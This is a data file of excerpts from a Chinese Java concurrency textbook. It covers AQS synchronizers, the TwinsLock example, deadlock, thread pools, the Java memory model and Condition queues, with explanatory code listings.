    {"text": "针对超时获取，主要需要计算出需要睡眠的时间间隔nanosTimeout，为了防止过早通知，nanosTimeout计算公式为：nanosTimeout-=now-lastTime，其中now为当前唤醒时间，lastTime为上次唤醒时间，如果nanosTimeout大于0则表示超时时间未到，需要继续睡眠nanosTimeout纳秒，反之，表示已经超时，该方法代码如代码清单5-9所示。 代码清单5-9 同步器的doAcquireNanos方法 private boolean doAcquireNanos(int arg, long nanosTimeout) throws InterruptedException { long lastTime = System.nanoTime(); final Node node = addWaiter(Node.EXCLUSIVE); boolean failed = true; try { for (;;) { final Node p = node.predecessor(); if (p == head && tryAcquire(arg)) { setHead(node); p.next = null; // help GC failed = false; return true; } if (nanosTimeout <= 0) return false; if (shouldParkAfterFailedAcquire(p, node) && nanosTimeout > spinForTimeoutThreshold) LockSupport.parkNanos(this, nanosTimeout); long now = System.nanoTime(); //计算时间，当前时间now减去睡眠之前的时间lastTime得到已经睡眠 //的时间delta，然后被原有超时时间nanosTimeout减去，得到了 //还应该睡眠的时间 nanosTimeout -= now - lastTime; lastTime = now; if (Thread.interrupted()) throw new InterruptedException(); } } finally { if (failed) cancelAcquire(node); } } 该方法在自旋过程中，当节点的前驱节点为头节点时尝试获取同步状态，如果获取成功则从该方法返回，这个过程和独占式同步获取的过程类似，但是在同步状态获取失败的处理上有所不同。 如果当前线程获取同步状态失败，则判断是否超时（nanosTimeout小于等于0表示已经超时），如果没有超时，重新计算超时间隔nanosTimeout，然后使当前线程等待nanosTimeout纳秒（当已到设置的超时时间，该线程会从LockSupport.parkNanos(Object blocker,long nanos)方法返回）。 如果nanosTimeout小于等于spinForTimeoutThreshold（1000纳秒）时，将不会使该线程进行超时等待，而是进入快速的自旋过程。 原因在于，非常短的超时等待无法做到十分精确，如果这时再进行超时等待，相反会让nanosTimeout的超时从整体上表现得反而不精确。"},
    {"text": "从图5-7中可以看出，独占式超时获取同步状态doAcquireNanos(int arg,long nanosTimeout)和独占式获取同步状态acquire(int args)在流程上非常相似，其主要区别在于未获取到同步状态时的处理逻辑。 acquire(int args)在未获取到同步状态时，将会使当前线程一直处于等待状态，而doAcquireNanos(int arg,long nanosTimeout)会使当前线程等待nanosTimeout纳秒，如果当前线程在nanosTimeout纳秒内没有获取到同步状态，将会从等待逻辑中自动返回。"},
    {"text": "图5-7 独占式超时获取同步状态的流程 5.自定义同步组件——TwinsLock 在前面的章节中，对同步器AbstractQueuedSynchronizer进行了实现层面的分析，本节通过编写一个自定义同步组件来加深对同步器的理解。 设计一个同步工具：该工具在同一时刻，只允许至多两个线程同时访问，超过两个线程的访问将被阻塞，我们将这个同步工具命名为TwinsLock。"},
    {"text": "TwinsLock能够在同一时刻支持多个线程的访问，这显然是共享式访问，因此，需要使用同步器提供的acquireShared(int args)方法等和Shared相关的方法，这就要求TwinsLock必须重写tryAcquireShared(int args)方法和tryReleaseShared(int args)方法，这样才能保证同步器的共享式同步状态的获取与释放方法得以执行。"},
    {"text": "TwinsLock在同一时刻允许至多两个线程的同时访问，表明同步资源数为2，这样可以设置初始状态status为2，当一个线程进行获取，status减1，该线程释放，则status加1，状态的合法范围为0、1和2，其中0表示当前已经有两个线程获取了同步资源，此时再有其他线程对同步状态进行获取，该线程只能被阻塞。"},
    {"text": "代码清单5-10 TwinsLock.java public class TwinsLock implements Lock { private final Sync sync = new Sync(2); private static final class Sync extends AbstractQueuedSynchronizer { Sync(int count) { if (count <= 0) { throw new IllegalArgumentException(\"count must large than zero.\"); } setState(count); } public int tryAcquireShared(int reduceCount) { for (;;) { int current = getState(); int newCount = current - reduceCount; if (newCount < 0 || compareAndSetState(current, newCount)) { return newCount; } } } public boolean tryReleaseShared(int returnCount) { for (;;) { int current = getState(); int newCount = current + returnCount; if (compareAndSetState(current, newCount)) { return true; } } } } public void lock() { sync.acquireShared(1); } public void unlock() { sync.releaseShared(1); } // 其他接口方法略 } 在上述示例中，TwinsLock实现了Lock接口，提供了面向使用者的接口，使用者调用lock()方法获取锁，随后调用unlock()方法释放锁，而同一时刻只能有两个线程同时获取到锁。"},
    {"text": "以共享式获取同步状态为例：同步器会先计算出获取后的同步状态，然后通过CAS确保状态的正确设置，当tryAcquireShared(int reduceCount)方法返回值大于等于0时，当前线程才获取同步状态，对于上层的TwinsLock而言，则表示当前线程获得了锁。"},
    {"text": "在测试用例中，定义了工作者线程Worker，该线程在执行过程中获取锁，当获取锁之后使当前线程睡眠1秒（并不释放锁），随后打印当前线程名称，最后再次睡眠1秒并释放锁，测试用例如代码清单5-11所示。 代码清单5-11 TwinsLockTest.java public class TwinsLockTest { @Test public void test() { final Lock lock = new TwinsLock(); class Worker extends Thread { public void run() { while (true) { lock.lock(); try { SleepUtils.second(1); System.out.println(Thread.currentThread().getName()); SleepUtils.second(1); } finally { lock.unlock(); } } } } // 启动10个线程 for (int i = 0; i < 10; i++) { Worker w = new Worker(); w.setDaemon(true); w.start(); } // 每隔1秒换行 for (int i = 0; i < 10; i++) { SleepUtils.second(1); System.out.println(); } } } 运行该测试用例，可以看到线程名称成对输出，也就是在同一时刻只有两个线程能够获取到锁，这表明TwinsLock可以按照预期正确工作。"},
    {"text": "Unknown 7.4 原子更新字段类 如果需原子地更新某个类里的某个字段时，就需要使用原子更新字段类，Atomic包提供了以下3个类进行原子字段更新。 ·AtomicIntegerFieldUpdater：原子更新整型的字段的更新器。 ·AtomicLongFieldUpdater：原子更新长整型字段的更新器。 ·AtomicStampedReference：原子更新带有版本号的引用类型。该类将整数值与引用关联起来，可用于原子的更新数据和数据的版本号，可以解决使用CAS进行原子更新时可能出现的ABA问题。 要想原子地更新字段类需要两步。第一步，因为原子更新字段类都是抽象类，每次使用的时候必须使用静态方法newUpdater()创建一个更新器，并且需要设置想要更新的类和属性。第二步，更新类的字段（属性）必须使用public volatile修饰符。 以上3个类提供的方法几乎一样，所以本节仅以AstomicIntegerFieldUpdater为例进行讲解，AstomicIntegerFieldUpdater的示例代码如代码清单7-6所示。 代码清单7-6 AtomicIntegerFieldUpdaterTest.java public class AtomicIntegerFieldUpdaterTest { // 创建原子更新器，并设置需要更新的对象类和对象的属性 private static AtomicIntegerFieldUpdater<User> a = AtomicIntegerFieldUpdater. newUpdater(User.class， \"old\"); public static void main(String[] args) { // 设置柯南的年龄是10岁 User conan = new User(\"conan\"， 10); // 柯南长了一岁，但是仍然会输出旧的年龄 System.out.println(a.getAndIncrement(conan)); // 输出柯南现在的年龄 System.out.println(a.get(conan)); } public static class User { private String name; public volatile int old; public User(String name， int old) { this.name = name; this.old = old; } public String getName() { return name; } public int getOld() { return old; } } } 代码执行后输出如下。 10 11 Unknown 1.2 死锁 锁是个非常有用的工具，运用场景非常多，因为它使用起来非常简单，而且易于理解。但同时它也会带来一些困扰，那就是可能会引起死锁，一旦产生死锁，就会造成系统功能不可用。让我们先来看一段代码，这段代码会引起死锁，使线程t1和线程t2互相等待对方释放锁。 public class DeadLockDemo { privat static String A = \"A\"; private static String B = \"B\"; public static void main(String[] args) { new DeadLockDemo().deadLock(); } private void deadLock() { Thread t1 = new Thread(new Runnable() { @Override publicvoid run() { synchronized (A) { try { Thread.currentThread().sleep(2000); } catch (InterruptedException e) { e.printStackTrace(); } synchronized (B) { System.out.println(\"1\"); } } } }); Thread t2 = new Thread(new Runnable() { @Override publicvoid run() { synchronized (B) { synchronized (A) { System.out.println(\"2\"); } } } }); t1.start(); t2.start(); } } 这段代码只是演示死锁的场景，在现实中你可能不会写出这样的代码。但是，在一些更为复杂的场景中，你可能会遇到这样的问题，比如t1拿到锁之后，因为一些异常情况没有释放锁（死循环）。又或者是t1拿到一个数据库锁，释放锁的时候抛出了异常，没释放掉。 一旦出现死锁，业务是可感知的，因为不能继续提供服务了，那么只能通过dump线程查看到底是哪个线程出现了问题，以下线程信息告诉我们是DeadLockDemo类的第42行和第31行引起的死锁。 \"Thread-2\" prio=5 tid=7fc0458d1000 nid=0x116c1c000 waiting for monitor entry [116c1b000] java.lang.Thread.State: BLOCKED (on object monitor) at com.ifeve.book.forkjoin.DeadLockDemo$2.run(DeadLockDemo.java:42) - waiting to lock <7fb2f3ec0> (a java.lang.String) - locked <7fb2f3ef8> (a java.lang.String) at java.lang.Thread.run(Thread.java:695) \"Thread-1\" prio=5 tid=7fc0430f6800 nid=0x116b19000 waiting for monitor entry [116b18000] java.lang.Thread.State: BLOCKED (on object monitor) at com.ifeve.book.forkjoin.DeadLockDemo$1.run(DeadLockDemo.java:31) - waiting to lock <7fb2f3ef8> (a java.lang.String) - locked <7fb2f3ec0> (a java.lang.String) at java.lang.Thread.run(Thread.java:695) 现在我们介绍避免死锁的几个常见方法。 ·避免一个线程同时获取多个锁。 ·避免一个线程在锁内同时占用多个资源，尽量保证每个锁只占用一个资源。 ·尝试使用定时锁，使用lock.tryLock（timeout）来替代使用内部锁机制。 ·对于数据库锁，加锁和解锁必须在一个数据库连接里，否则会出现解锁失败的情况。 Unknown 4.3 线程间通信 线程开始运行，拥有自己的栈空间，就如同一个脚本一样，按照既定的代码一步一步地执行，直到终止。但是，每个运行中的线程，如果仅仅是孤立地运行，那么没有一点儿价值，或者说价值很少，如果多个线程能够相互配合完成工作，这将会带来巨大的价值。 Unknown 6.3 Java中的阻塞队列 本节将介绍什么是阻塞队列，以及Java中阻塞队列的4种处理方式，并介绍Java 7中提供的7种阻塞队列，最后分析阻塞队列的一种实现方式。"},
    {"text": "Unknown 第3章 Java内存模型 Java线程之间的通信对程序员完全透明，内存可见性问题很容易困扰Java程序员，本章将揭开Java内存模型神秘的面纱。本章大致分4部分：Java内存模型的基础，主要介绍内存模型相关的基本概念；Java内存模型中的顺序一致性，主要介绍重排序与顺序一致性内存模型；同步原语，主要介绍3个同步原语（synchronized、volatile和final）的内存语义及重排序规则在处理器中的实现；Java内存模型的设计，主要介绍Java内存模型的设计原理，及其与处理器内存模型和顺序一致性内存模型的关系。 Unknown 10.2.3 CachedThreadPool详解 CachedThreadPool是一个会根据需要创建新线程的线程池。下面是创建CachedThread-Pool的源代码。 public static ExecutorService newCachedThreadPool() { return new ThreadPoolExecutor(0, Integer.MAX_VALUE, 60L, TimeUnit.SECONDS, new SynchronousQueue<Runnable>()); } CachedThreadPool的corePoolSize被设置为0，即corePool为空；maximumPoolSize被设置为Integer.MAX_VALUE，即maximumPool是无界的。这里把keepAliveTime设置为60L，意味着CachedThreadPool中的空闲线程等待新任务的最长时间为60秒，空闲线程超过60秒后将会被终止。 FixedThreadPool和SingleThreadExecutor使用无界队列LinkedBlockingQueue作为线程池的工作队列。CachedThreadPool使用没有容量的SynchronousQueue作为线程池的工作队列，但CachedThreadPool的maximumPool是无界的。这意味着，如果主线程提交任务的速度高于maximumPool中线程处理任务的速度时，CachedThreadPool会不断创建新线程。极端情况下，CachedThreadPool会因为创建过多线程而耗尽CPU和内存资源。 CachedThreadPool的execute()方法的执行示意图如图10-6所示。 图10-6 CachedThreadPool的execute()的运行示意图 对图10-6的说明如下。 1）首先执行SynchronousQueue.offer（Runnable task）。如果当前maximumPool中有空闲线程正在执行SynchronousQueue.poll（keepAliveTime，TimeUnit.NANOSECONDS），那么主线程执行offer操作与空闲线程执行的poll操作配对成功，主线程把任务交给空闲线程执行，execute()方法执行完成；否则执行下面的步骤2）。 2）当初始maximumPool为空，或者maximumPool中当前没有空闲线程时，将没有线程执行SynchronousQueue.poll（keepAliveTime，TimeUnit.NANOSECONDS）。这种情况下，步骤1）将失败。此时CachedThreadPool会创建一个新线程执行任务，execute()方法执行完成。 3）在步骤2）中新创建的线程将任务执行完后，会执行SynchronousQueue.poll（keepAliveTime，TimeUnit.NANOSECONDS）。这个poll操作会让空闲线程最多在SynchronousQueue中等待60秒钟。如果60秒钟内主线程提交了一个新任务（主线程执行步骤1）），那么这个空闲线程将执行主线程提交的新任务；否则，这个空闲线程将终止。由于空闲60秒的空闲线程会被终止，因此长时间保持空闲的CachedThreadPool不会使用任何资源。 前面提到过，SynchronousQueue是一个没有容量的阻塞队列。每个插入操作必须等待另一个线程的对应移除操作，反之亦然。CachedThreadPool使用SynchronousQueue，把主线程提交的任务传递给空闲线程执行。CachedThreadPool中任务传递的示意图如图10-7所示。 图10-7 CachedThreadPool的任务传递示意图 Unknown 3.10 本章小结 本章对Java内存模型做了比较全面的解读。希望读者阅读本章之后，对Java内存模型能够有一个比较深入的了解；同时，也希望本章可帮助读者解决在Java并发编程中经常遇到的各种内存可见性问题。"},
    {"text": "Unknown 4.4.2 一个简单的数据库连接池示例 我们使用等待超时模式来构造一个简单的数据库连接池，在示例中模拟从连接池中获取、使用和释放连接的过程，而客户端获取连接的过程被设定为等待超时的模式，也就是在1000毫秒内如果无法获取到可用连接，将会返回给客户端一个null。"},
    {"text": "它通过构造函数初始化连接的最大上限，通过一个双向队列来维护连接，调用方需要先调用fetchConnection(long)方法来指定在多少毫秒内超时获取连接，当连接使用完成后，需要调用releaseConnection(Connection)方法将连接放回线程池，示例如代码清单4-16所示。 代码清单4-16 ConnectionPool.java public class ConnectionPool { private LinkedList<Connection> pool = new LinkedList<Connection>(); public ConnectionPool(int initialSize) { if (initialSize > 0) { for (int i = 0; i < initialSize; i++) { pool.addLast(ConnectionDriver.createConnection()); } } } public void releaseConnection(Connection connection) { if (connection != null) { synchronized (pool) { // 连接释放后需要进行通知，这样其他消费者能够感知到连接池中已经归还了一个连接 pool.addLast(connection); pool.notifyAll(); } } } // 在mills内无法获取到连接，将会返回null public Connection fetchConnection(long mills) throws InterruptedException { synchronized (pool) { // 完全超时 if (mills <= 0) { while (pool.isEmpty()) { pool.wait(); } return pool.removeFirst(); } else { long future = System.currentTimeMillis() + mills; long remaining = mills; while (pool.isEmpty() && remaining > 0) { pool.wait(remaining); remaining = future - System.currentTimeMillis(); } Connection result = null; if (!pool.isEmpty()) { result = pool.removeFirst(); } return result; } } } } 由于java.sql.Connection是一个接口，最终的实现是由数据库驱动提供方来实现的，考虑到只是个示例，我们通过动态代理构造了一个Connection，该Connection的代理实现仅仅是在commit()方法调用时休眠100毫秒，示例如代码清单4-17所示。 代码清单4-17 ConnectionDriver.java public class ConnectionDriver { static class ConnectionHandler implements InvocationHandler { public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { if (method.getName().equals(\"commit\")) { TimeUnit.MILLISECONDS.sleep(100); } return null; } } // 创建一个Connection的代理，在commit时休眠100毫秒 public static final Connection createConnection() { return (Connection) Proxy.newProxyInstance(ConnectionDriver.class.getClassLoader(), new Class<>[] { Connection.class }, new ConnectionHandler()); } } 下面通过一个示例来测试简易数据库连接池的工作情况，模拟客户端ConnectionRunner获取、使用、最后释放连接的过程，当它使用时连接将会增加获取到连接的数量，反之，将会增加未获取到连接的数量，示例如代码清单4-18所示。 代码清单4-18 ConnectionPoolTest.java public class ConnectionPoolTest { static ConnectionPool pool = new ConnectionPool(10); // 保证所有ConnectionRunner能够同时开始 static CountDownLatch start = new CountDownLatch(1); // main线程将会等待所有ConnectionRunner结束后才能继续执行 static CountDownLatch end; public static void main(String[] args) throws Exception { // 线程数量，可以修改线程数量进行观察 int threadCount = 10; end = new CountDownLatch(threadCount); int count = 20; AtomicInteger got = new AtomicInteger(); AtomicInteger notGot = new AtomicInteger(); for (int i = 0; i < threadCount; i++) { Thread thread = new Thread(new ConnetionRunner(count, got, notGot), \"ConnectionRunnerThread\"); thread.start(); } start.countDown(); end.await(); System.out.println(\"total invoke: \" + (threadCount * count)); System.out.println(\"got connection: \" + got); System.out.println(\"not got connection \" + notGot); } static class ConnetionRunner implements Runnable { int count; AtomicInteger got; AtomicInteger notGot; public ConnetionRunner(int count, AtomicInteger got, AtomicInteger notGot) { this.count = count; this.got = got; this.notGot = notGot; } public void run() { try { start.await(); } catch (Exception ex) { } while (count > 0) { try { // 从线程池中获取连接，如果1000ms内无法获取到，将会返回null // 分别统计连接获取的数量got和未获取到的数量notGot Connection connection = pool.fetchConnection(1000); if (connection != null) { try { connection.createStatement(); connection.commit(); } finally { pool.releaseConnection(connection); got.incrementAndGet(); } } else { notGot.incrementAndGet(); } } catch (Exception ex) { } finally { count--; } } end.countDown(); } } } 上述示例中使用了CountDownLatch来确保ConnectionRunnerThread能够同时开始执行，并且在全部结束之后，才使main线程从等待状态中返回。"},
    {"text": "线程数、总获取次数、获取到的数量、未获取到的数量以及未获取到的比率，如表4-3所示（笔者机器CPU：i7-3635QM，内存为8GB，实际输出可能与此表不同）。 表4-3 线程数量与连接获取的关系 从表中的数据统计可以看出，在资源一定的情况下（连接池中的10个连接），随着客户端线程的逐步增加，客户端出现超时无法获取连接的比率不断升高。 虽然客户端线程在这种超时获取的模式下会出现连接无法获取的情况，但是它能够保证客户端线程不会一直挂在连接获取的操作上，而是“按时”返回，并告知客户端连接获取出现问题，是系统的一种自我保护机制。"},
    {"text": "Unknown 3.1.3 从源代码到指令序列的重排序 在执行程序时，为了提高性能，编译器和处理器常常会对指令做重排序。重排序分3种类型。 1）编译器优化的重排序。编译器在不改变单线程程序语义的前提下，可以重新安排语句的执行顺序。 2）指令级并行的重排序。现代处理器采用了指令级并行技术（Instruction-Level Parallelism，ILP）来将多条指令重叠执行。如果不存在数据依赖性，处理器可以改变语句对应机器指令的执行顺序。 3）内存系统的重排序。由于处理器使用缓存和读/写缓冲区，这使得加载和存储操作看上去可能是在乱序执行。 从Java源代码到最终实际执行的指令序列，会分别经历下面3种重排序，如图3-3所示。 图3-3 从源码到最终执行的指令序列的示意图 上述的1属于编译器重排序，2和3属于处理器重排序。这些重排序可能会导致多线程程序出现内存可见性问题。对于编译器，JMM的编译器重排序规则会禁止特定类型的编译器重排序（不是所有的编译器重排序都要禁止）。对于处理器重排序，JMM的处理器重排序规则会要求Java编译器在生成指令序列时，插入特定类型的内存屏障（Memory Barriers，Intel称之为Memory Fence）指令，通过内存屏障指令来禁止特定类型的处理器重排序。 JMM属于语言级的内存模型，它确保在不同的编译器和不同的处理器平台之上，通过禁止特定类型的编译器重排序和处理器重排序，为程序员提供一致的内存可见性保证。 Unknown 第9章 Java中的线程池 Java中的线程池是运用场景最多的并发框架，几乎所有需要异步或并发执行任务的程序都可以使用线程池。在开发过程中，合理地使用线程池能够带来3个好处。 第一： 降低资源消耗 。通过重复利用已创建的线程降低线程创建和销毁造成的消耗。 第二： 提高响应速度 。当任务到达时，任务可以不需要等到线程创建就能立即执行。 第三： 提高线程的可管理性 。线程是稀缺资源，如果无限制地创建，不仅会消耗系统资源，还会降低系统的稳定性，使用线程池可以进行统一分配、调优和监控。但是，要做到合理利用线程池，必须对其实现原理了如指掌。"},
    {"text": "Unknown 4.1.4 线程的状态 Java线程在运行的生命周期中可能处于表4-1所示的6种不同的状态，在给定的一个时刻，线程只能处于其中的一个状态。 表4-1 Java线程的状态 下面我们使用jstack工具（可以选择打开终端，键入jstack或者到JDK安装目录的bin目录下执行命令），尝试查看示例代码运行时的线程信息，更加深入地理解线程状态，示例如代码清单4-3所示。 代码清单4-3 ThreadState.java public class ThreadState { public static void main(String[] args) { new Thread(new TimeWaiting (), \"TimeWaitingThread\").start(); new Thread(new Waiting(), \"WaitingThread\").start(); // 使用两个Blocked线程，一个获取锁成功，另一个被阻塞 new Thread(new Blocked(), \"BlockedThread-1\").start(); new Thread(new Blocked(), \"BlockedThread-2\").start(); } // 该线程不断地进行睡眠 static class TimeWaiting implements Runnable { @Override public void run() { while (true) { SleepUtils.second(100); } } } // 该线程在Waiting.class实例上等待 static class Waiting implements Runnable { @Override public void run() { while (true) { synchronized (Waiting.class) { try { Waiting.class.wait(); } catch (InterruptedException e) { e.printStackTrace(); } } } } } // 该线程在Blocked.class实例上加锁后，不会释放该锁 static class Blocked implements Runnable { public void run() { synchronized (Blocked.class) { while (true) { SleepUtils.second(100); } } } } } 上述示例中使用的SleepUtils如代码清单4-4所示。 代码清单4-4 SleepUtils.java public class SleepUtils { public static final void second(long seconds) { try { TimeUnit.SECONDS.sleep(seconds); } catch (InterruptedException e) { } } } 运行该示例，打开终端或者命令提示符，键入“jps”，输出如下。 611 935 Jps 929 ThreadState 270 可以看到运行示例对应的进程ID是929，接着再键入“jstack 929”（这里的进程ID需要和读者自己键入jps得出的ID一致），部分输出如下所示。 // BlockedThread-2线程阻塞在获取Blocked.class示例的锁上 \"BlockedThread-2\" prio=5 tid=0x00007feacb05d000 nid=0x5d03 waiting for monitor entry [0x000000010fd58000] java.lang.Thread.State: BLOCKED (on object monitor) // BlockedThread-1线程获取到了Blocked.class的锁 \"BlockedThread-1\" prio=5 tid=0x00007feacb05a000 nid=0x5b03 waiting on condition [0x000000010fc55000] java.lang.Thread.State: TIMED_WAITING (sleeping) // WaitingThread线程在Waiting实例上等待 \"WaitingThread\" prio=5 tid=0x00007feacb059800 nid=0x5903 in Object.wait() [0x000000010fb52000] java.lang.Thread.State: WAITING (on object monitor) // TimeWaitingThread线程处于超时等待 \"TimeWaitingThread\" prio=5 tid=0x00007feacb058800 nid=0x5703 waiting on condition [0x000000010fa4f000] java.lang.Thread.State: TIMED_WAITING (sleeping) 通过示例，我们了解到Java程序运行中线程状态的具体含义。线程在自身的生命周期中，并不是固定地处于某个状态，而是随着代码的执行在不同的状态之间进行切换，Java线程状态变迁如图4-1示。 图4-1 Java线程状态变迁 由图4-1中可以看到，线程创建之后，调用start()方法开始运行。当线程执行wait()方法之后，线程进入等待状态。进入等待状态的线程需要依靠其他线程的通知才能够返回到运行状态，而超时等待状态相当于在等待状态的基础上增加了超时限制，也就是超时时间到达时将会返回到运行状态。当线程调用同步方法时，在没有获取到锁的情况下，线程将会进入到阻塞状态。线程在执行Runnable的run()方法之后将会进入到终止状态。 注意 Java将操作系统中的运行和就绪两个状态合并称为运行状态。阻塞状态是线程阻塞在进入synchronized关键字修饰的方法或代码块（获取锁）时的状态，但是阻塞在java.concurrent包中Lock接口的线程状态却是等待状态，因为java.concurrent包中Lock接口对于阻塞的实现均使用了LockSupport类中的相关方法。"},
    {"text": "Unknown 9.1 线程池的实现原理 当向线程池提交一个任务之后，线程池是如何处理这个任务的呢？本节来看一下线程池的主要处理流程，处理流程图如图9-1所示。 从图中可以看出，当提交一个新任务到线程池时，线程池的处理流程如下。 1）线程池判断核心线程池里的线程是否都在执行任务。如果不是，则创建一个新的工作线程来执行任务。如果核心线程池里的线程都在执行任务，则进入下个流程。 2）线程池判断工作队列是否已经满。如果工作队列没有满，则将新提交的任务存储在这个工作队列里。如果工作队列满了，则进入下个流程。 3）线程池判断线程池的线程是否都处于工作状态。如果没有，则创建一个新的工作线程来执行任务。如果已经满了，则交给饱和策略来处理这个任务。 ThreadPoolExecutor执行execute()方法的示意图，如图9-2所示。 图9-1 线程池的主要处理流程 图9-2 ThreadPoolExecutor执行示意图 ThreadPoolExecutor执行execute方法分下面4种情况。 1）如果当前运行的线程少于corePoolSize，则创建新线程来执行任务（注意，执行这一步骤需要获取全局锁）。 2）如果运行的线程等于或多于corePoolSize，则将任务加入BlockingQueue。 3）如果无法将任务加入BlockingQueue（队列已满），则创建新的线程来处理任务（注意，执行这一步骤需要获取全局锁）。 4）如果创建新线程将使当前运行的线程超出maximumPoolSize，任务将被拒绝，并调用RejectedExecutionHandler.rejectedExecution()方法。 ThreadPoolExecutor采取上述步骤的总体设计思路，是为了在执行execute()方法时，尽可能地避免获取全局锁（那将会是一个严重的可伸缩瓶颈）。在ThreadPoolExecutor完成预热之后（当前运行的线程数大于等于corePoolSize），几乎所有的execute()方法调用都是执行步骤2，而步骤2不需要获取全局锁。 源码分析： 上面的流程分析让我们很直观地了解了线程池的工作原理，让我们再通过源代码来看看是如何实现的，线程池执行任务的方法如下。 public void execute(Runnable command) { if (command == null) throw new NullPointerException(); // 如果线程数小于基本线程数，则创建线程并执行当前任务 if (poolSize >= corePoolSize || !addIfUnderCorePoolSize(command)) { // 如线程数大于等于基本线程数或线程创建失败，则将当前任务放到工作队列中。 if (runState == RUNNING && workQueue.offer(command)) { if (runState != RUNNING || poolSize == 0) ensureQueuedTaskHandled(command); } // 如果线程池不处于运行中或任务无法放入队列，并且当前线程数量小于最大允许的线程数量， // 则创建一个线程执行任务。 else if (!addIfUnderMaximumPoolSize(command)) // 抛出RejectedExecutionException异常 reject(command); // is shutdown or saturated } } 工作线程： 线程池创建线程时，会将线程封装成工作线程Worker，Worker在执行完任务后，还会循环获取工作队列里的任务来执行。我们可以从Worker类的run()方法里看到这点。 public void run() { try { Runnable task = firstTask; firstTask = null; while (task != null || (task = getTask()) != null) { runTask(task); task = null; } } finally { workerDone(this); } } ThreadPoolExecutor中线程执行任务的示意图如图9-3所示。 图9-3 ThreadPoolExecutor执行任务示意图 线程池中的线程执行任务分两种情况，如下。 1）在execute()方法中创建一个线程时，会让这个线程执行当前任务。 2）这个线程执行完上图中1的任务后，会反复从BlockingQueue获取任务来执行。"},
    {"text": "Unknown 3.7.2 happens-before的定义 happens-before的概念最初由Leslie Lamport在其一篇影响深远的论文（《Time，Clocks and the Ordering of Events in a Distributed System》）中提出。Leslie Lamport使用happens-before来定义分布式系统中事件之间的偏序关系（partial ordering）。Leslie Lamport在这篇论文中给出了一个分布式算法，该算法可以将该偏序关系扩展为某种全序关系。 JSR-133使用happens-before的概念来指定两个操作之间的执行顺序。由于这两个操作可以在一个线程之内，也可以是在不同线程之间。因此，JMM可以通过happens-before关系向程序员提供跨线程的内存可见性保证（如果A线程的写操作a与B线程的读操作b之间存在happens-before关系，尽管a操作和b操作在不同的线程中执行，但JMM向程序员保证a操作将对b操作可见）。 《JSR-133:Java Memory Model and Thread Specification》对happens-before关系的定义如下。 1）如果一个操作happens-before另一个操作，那么第一个操作的执行结果将对第二个操作可见，而且第一个操作的执行顺序排在第二个操作之前。 2）两个操作之间存在happens-before关系，并不意味着Java平台的具体实现必须要按照happens-before关系指定的顺序来执行。如果重排序之后的执行结果，与按happens-before关系来执行的结果一致，那么这种重排序并不非法（也就是说，JMM允许这种重排序）。 上面的1）是JMM对程序员的承诺 。从程序员的角度来说，可以这样理解happens-before关系：如果A happens-before B，那么Java内存模型将向程序员保证——A操作的结果将对B可见，且A的执行顺序排在B之前。注意，这只是Java内存模型向程序员做出的保证！ 上面的2）是JMM对编译器和处理器重排序的约束原则 。正如前面所言，JMM其实是在遵循一个基本原则：只要不改变程序的执行结果（指的是单线程程序和正确同步的多线程程序），编译器和处理器怎么优化都行。JMM这么做的原因是：程序员对于这两个操作是否真的被重排序并不关心，程序员关心的是程序执行时的语义不能被改变（即执行结果不能被改变）。因此，happens-before关系本质上和as-if-serial语义是一回事。 ·as-if-serial语义保证单线程内程序的执行结果不被改变，happens-before关系保证正确同步的多线程程序的执行结果不被改变。 ·as-if-serial语义给编写单线程程序的程序员创造了一个幻境：单线程程序是按程序的顺序来执行的。happens-before关系给编写正确同步的多线程程序的程序员创造了一个幻境：正确同步的多线程程序是按happens-before指定的顺序来执行的。 as-if-serial语义和happens-before这么做的目的，都是为了在不改变程序执行结果的前提下，尽可能地提高程序执行的并行度。"},
    {"text": "Unknown 5.6.2 Condition的实现分析 ConditionObject是同步器AbstractQueuedSynchronizer的内部类，因为Condition的操作需要获取相关联的锁，所以作为同步器的内部类也较为合理。"},
    {"text": "每个Condition对象都包含着一个队列（以下称为等待队列），该队列是Condition对象实现等待/通知功能的关键。 下面将分析Condition的实现，主要包括：等待队列、等待和通知，下面提到的Condition如果不加说明均指的是ConditionObject。 1.等待队列 等待队列是一个FIFO的队列，在队列中的每个节点都包含了一个线程引用，该线程就是在Condition对象上等待的线程，如果一个线程调用了Condition.await()方法，那么该线程将会释放锁、构造成节点加入等待队列并进入等待状态。"},
    {"text": "事实上，节点的定义复用了同步器中节点的定义，也就是说，同步队列和等待队列中节点类型都是同步器的静态内部类AbstractQueuedSynchronizer.Node。"},
    {"text": "当前线程调用Condition.await()方法，将会以当前线程构造节点，并将节点从尾部加入等待队列，等待队列的基本结构如图5-9所示。 图5-9 等待队列的基本结构 如图所示，Condition拥有首尾节点的引用，而新增节点只需要将原有的尾节点nextWaiter指向它，并且更新尾节点即可。"},
    {"text": "上述节点引用更新的过程并没有使用CAS保证，原因在于调用await()方法的线程必定是获取了锁的线程，也就是说该过程是由锁来保证线程安全的。"},
    {"text": "在Object的监视器模型上，一个对象拥有一个同步队列和等待队列，而并发包中的Lock（更确切地说是同步器）拥有一个同步队列和多个等待队列，其对应关系如图5-10所示。 图5-10 同步队列与等待队列 如图所示，Condition的实现是同步器的内部类，因此每个Condition实例都能够访问同步器提供的方法，相当于每个Condition都拥有所属同步器的引用。"},
    {"text": "2.等待 调用Condition的await()方法（或者以await开头的方法），会使当前线程进入等待队列并释放锁，同时线程状态变为等待状态。 当从await()方法返回时，当前线程一定获取了Condition相关联的锁。 如果从队列（同步队列和等待队列）的角度看await()方法，当调用await()方法时，相当于同步队列的首节点（获取了锁的节点）移动到Condition的等待队列中。 Condition的await()方法，如代码清单5-22所示。 代码清单5-22 ConditionObject的await方法 public final void await() throws InterruptedException { if (Thread.interrupted()) throw new InterruptedException(); // 当前线程加入等待队列 Node node = addConditionWaiter(); // 释放同步状态，也就是释放锁 int savedState = fullyRelease(node); int interruptMode = 0; while (!isOnSyncQueue(node)) { LockSupport.park(this); if ((interruptMode = checkInterruptWhileWaiting(node)) != 0) break; } if (acquireQueued(node, savedState) && interruptMode != THROW_IE) interruptMode = REINTERRUPT; if (node.nextWaiter != null) unlinkCancelledWaiters(); if (interruptMode != 0) reportInterruptAfterWait(interruptMode); } 调用该方法的线程成功获取了锁的线程，也就是同步队列中的首节点，该方法会将当前线程构造成节点并加入等待队列中，然后释放同步状态，唤醒同步队列中的后继节点，然后当前线程会进入等待状态。"},
    {"text": "如图所示，同步队列的首节点并不会直接加入等待队列，而是通过addConditionWaiter()方法把当前线程构造成一个新的节点并将其加入等待队列中。"},
